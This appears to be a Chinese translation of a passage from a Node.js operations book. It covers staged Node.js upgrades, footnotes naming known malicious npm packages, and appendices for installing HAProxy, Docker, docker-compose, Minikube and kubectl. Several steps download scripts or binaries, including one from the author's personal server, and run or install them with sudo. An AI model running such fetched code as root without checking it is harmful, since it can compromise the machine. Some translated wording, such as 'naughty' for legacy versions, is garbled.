直接从 naughty Node.js 版本直接升级到最新版本可能会很痛苦。例如,使用 Node.js v10.2.3 的应用程序可能与 Node.js v14.4.0 完全不兼容。相反,跳转到几个不同的 Node.js 版本可能更容易。可以简化此过程的一种方法是跳转到每个 LTS 发布的最高版本,从当前使用的版本开始,直到达到最新版本。在这种情况下,可能意味着从 v10.2.3 升级到 v10.21.0,然后是 v12.18.2,最后是 v14.4.0。
采用这种方法,可以在每个不同的版本上重新测试应用程序以确保兼容性。这有助于将升级过程分解为较小的步骤,使整个过程更加容易。在此过程中,您可能需要运行应用程序,查找错误,并根据需要升级 npm 包或更改代码。阅读 Node.js 更新日志,了解主要版本中的重大变更和次要版本中的新功能,以帮助这一过程。每次修复与 Node.js 版本的兼容性后,都应创建一个新的提交。一旦最终达到最新的 Node.js 版本,然后可以编写包含各个单独提交的拉取请求。这有助于审阅者理解代码和包变更与 Node.js 版本的关联性。
随着时间的推移,您需要保持剩余的 Node.js 应用程序更新。维护期间的应用程序无需升级到当前版本。相反,请等待新的 LTS 版本发布。一旦发布了新的 LTS 版本,维护期间的应用程序从技术上来说现在是“naughty generation”。然后应将它们升级以使用当前的 Node.js 发布版本。当前代的应用程序现在处于维护期。同样,它们可以等待下一个 LTS 版本的发布。按代别批量更新应用程序的这种交替方法对我很有帮助。
使用像 nvm(Node Version Manager)或 nodenv 这样的工具可以简化在本地开发机器上多个 Node.js 版本之间切换的过程。首先,nvm 使用更手动的方法,在当前 shell 会话中选择要使用的 Node.js 版本。另一方面,nodenv 使用 .node-version 文件,在终端中更改目录时自动设置 Node.js 运行时版本。可以将此文件检入应用程序仓库,以自动化切换 Node.js 运行时。
^(1) 已知的几十种恶意包括getcookies、crossenv、mongose和babelcli。
^(2) 从技术上讲,您的 shell 可能会将您运行的每个命令写入历史文件,但是生产过程中的启动器不会出现此问题。
^(3) 此数据库源自 Node 安全项目,并由 npm 在收购^Lift 后进行管理。
^(4) 自从本书编写时,GitHub 最近收购了 npm。在此收购之前,npm audit 和 Dependabot 已存在,我预计这两个产品将在未来几年融合发展。
^(5) 图片由 Colin Ihrig 根据 Apache License 2.0 提供。
^(6) 如果您发现这种情况发生,请您介入并带头推动升级过程。
附录 A. 安装 HAProxy
HAProxy 是一个反向代理,用于在将请求传递到应用程序代码之前拦截请求。在本书中,它用于卸载一些否则不应由 Node.js 进程处理的任务。
如果你使用 Linux,你有几个选项。第一种选择是尝试使用你发行版的软件安装程序直接安装haproxy。这可能像sudo apt install haproxy这样简单。但是,这可能会安装一个版本过旧的 HAProxy。如果你的发行版提供的 HAProxy 版本早于 v2,你可以在安装后运行haproxy -v来检查,那么你需要以另一种方式安装它。
Linux:从源代码构建
这种方法将从http://haproxy.org网站下载官方源代码包。然后,解压内容,编译应用程序并执行安装。此方法还将安装man页,提供有用的文档。运行以下命令下载并编译 HAProxy:
$ sudo apt install libssl-dev # Debian / Ubuntu
$ curl -O http://www.haproxy.org/download/2.1/src/haproxy-2.1.8.tar.gz
$ tar -xf haproxy-2.1.8.tar.gz
$ cd haproxy-2.1.8
$ make -j4 TARGET=linux-glibc USE_ZLIB=yes USE_OPENSSL=yes
$ sudo make install
如果在编译过程中出现错误,则可能需要使用你发行版的包管理器安装缺少的软件包。
Linux:安装预编译的二进制文件
然而,如果你希望避免编译软件的过程,可以选择下载预编译的二进制文件。我找不到官方的预编译版本,因此这里是我本地编译并上传到我的 Web 服务器的版本。运行以下命令下载、解压和安装预编译的二进制文件:
$ curl -O https://thomashunter.name/pkg/haproxy-2.1.8-linux.tar.gz
$ tar -xf haproxy-2.1.8-linux.tar.gz
$ ./haproxy -v # test
$ sudo mv ./haproxy /usr/bin/haproxy
$ sudo chown root:root /usr/bin/haproxy
macOS:通过 Homebrew 安装
如果你使用 macOS,我强烈建议安装Homebrew,如果你还没有安装的话。Homebrew 通常提供最新版本的软件,并包含现代版本的 HAProxy。使用 Homebrew,你可以通过运行以下命令安装 HAProxy:
$ brew install haproxy@2.1.8
$ haproxy -v # test
附录 B. 安装 Docker
Docker 是一个在特定机器上运行应用程序的工具。在本书中,它被用于运行各种数据库、第三方服务,甚至是您编写的应用程序。Docker 维护一个安装 Docker 引擎页面,但 macOS 和 Linux 的说明在此重复列出供您参考。
macOS:安装 Docker Desktop for Mac
在 macOS 上安装 Docker 的主要方法是安装 Docker Desktop for Mac。这不仅会为您提供 Docker 守护程序和 CLI 工具,还会为您提供一个在菜单栏中运行的 GUI 工具。访问Docker Desktop for Mac页面并下载稳定的磁盘映像,然后按照通常的 macOS 安装流程进行安装。
Linux:方便的安装脚本
如果您使用基于 Ubuntu 的操作系统,您可以通过将 Docker 存储库添加到系统并使用软件包管理器进行安装。这将允许 Docker 通过正常的软件包升级操作保持更新。
Docker 提供了一个便捷的脚本,可以执行几项任务。首先,它会配置您的 Linux 发行版的软件包管理器以使用 Docker 存储库。该脚本支持多个发行版,如 Ubuntu 和 CentOS。它还将从 Docker 存储库安装必要的软件包到您的本地机器。将来进行软件包升级时,您的机器也将更新 Docker:
$ curl -fsSL https://get.docker.com -o get-docker.sh
$ sudo sh get-docker.sh
如果您希望在当前帐户中控制 Docker 而无需每次都提供sudo,请运行以下命令。第一个命令将把您的用户添加到docker组中,第二个命令将在您的终端会话中应用新的组(尽管您需要注销并重新登录以使全局更改生效):
$ sudo usermod -aG docker $USER
$ su - $USER
您还需要安装docker-compose来运行本书中几个章节的示例。目前需要单独添加它,因为它不在 Docker 存储库中提供。运行以下命令下载预编译的二进制文件并使其可执行:
$ sudo curl -L "https://github.com/docker/compose/releases/download\
/1.26.2/docker-compose-$(uname -s)-$(uname -m)" \
-o /usr/local/bin/docker-compose
$ sudo chmod +x /usr/local/bin/docker-compose
附录 C. 安装 Minikube 和 Kubectl
Kubernetes 是一个完整的容器编排平台,允许工程师在多台机器上运行一组容器。Minikube 是一个简化版本,使得在单台机器上本地运行变得更加简单。官方 Kubernetes 文档维护了一个安装工具页面,提供安装说明,但安装说明已在此重复供参考。
Linux:Debian 软件包和预编译二进制文件
Minikube 可以通过安装 Debian 软件包获取(也提供了 RPM 软件包)。另一方面,Kubectl 可以通过下载二进制文件并将其放入 $PATH 中进行安装。运行以下命令在基于 Debian 的(包括 Ubuntu)机器上安装 Minikube 和 Kubectl:
$ curl -LO https://storage.googleapis.com/minikube/releases\
/latest/minikube_1.9.1-0_amd64.deb
$ sudo dpkg -i minikube_1.9.1-0_amd64.deb
$ curl -LO https://storage.googleapis.com/kubernetes-release\
/release/v1.18.2/bin/linux/amd64/kubectl
$ chmod +x ./kubectl
$ sudo mv kubectl /usr/bin/
macOS:通过 Homebrew 安装
Docker Desktop 已经集成了 Kubernetes!但默认情况下它是禁用的。要启用它,点击菜单栏中的 Docker 图标,然后选择 Preferences 选项。在弹出的屏幕中,点击 Kubernetes 选项卡。最后,选中 Enable Kubernetes 复选框,然后点击 Apply & Restart。可能需要几分钟,但 UI 应该更新并显示 Kubernetes 已在运行。
接下来,您需要安装 Minikube,这是一个工具,简化了在本地计算机上运行 Kubernetes 的一些操作。运行以下命令来完成安装:
$ brew install minikube


浙公网安备 33010602011771号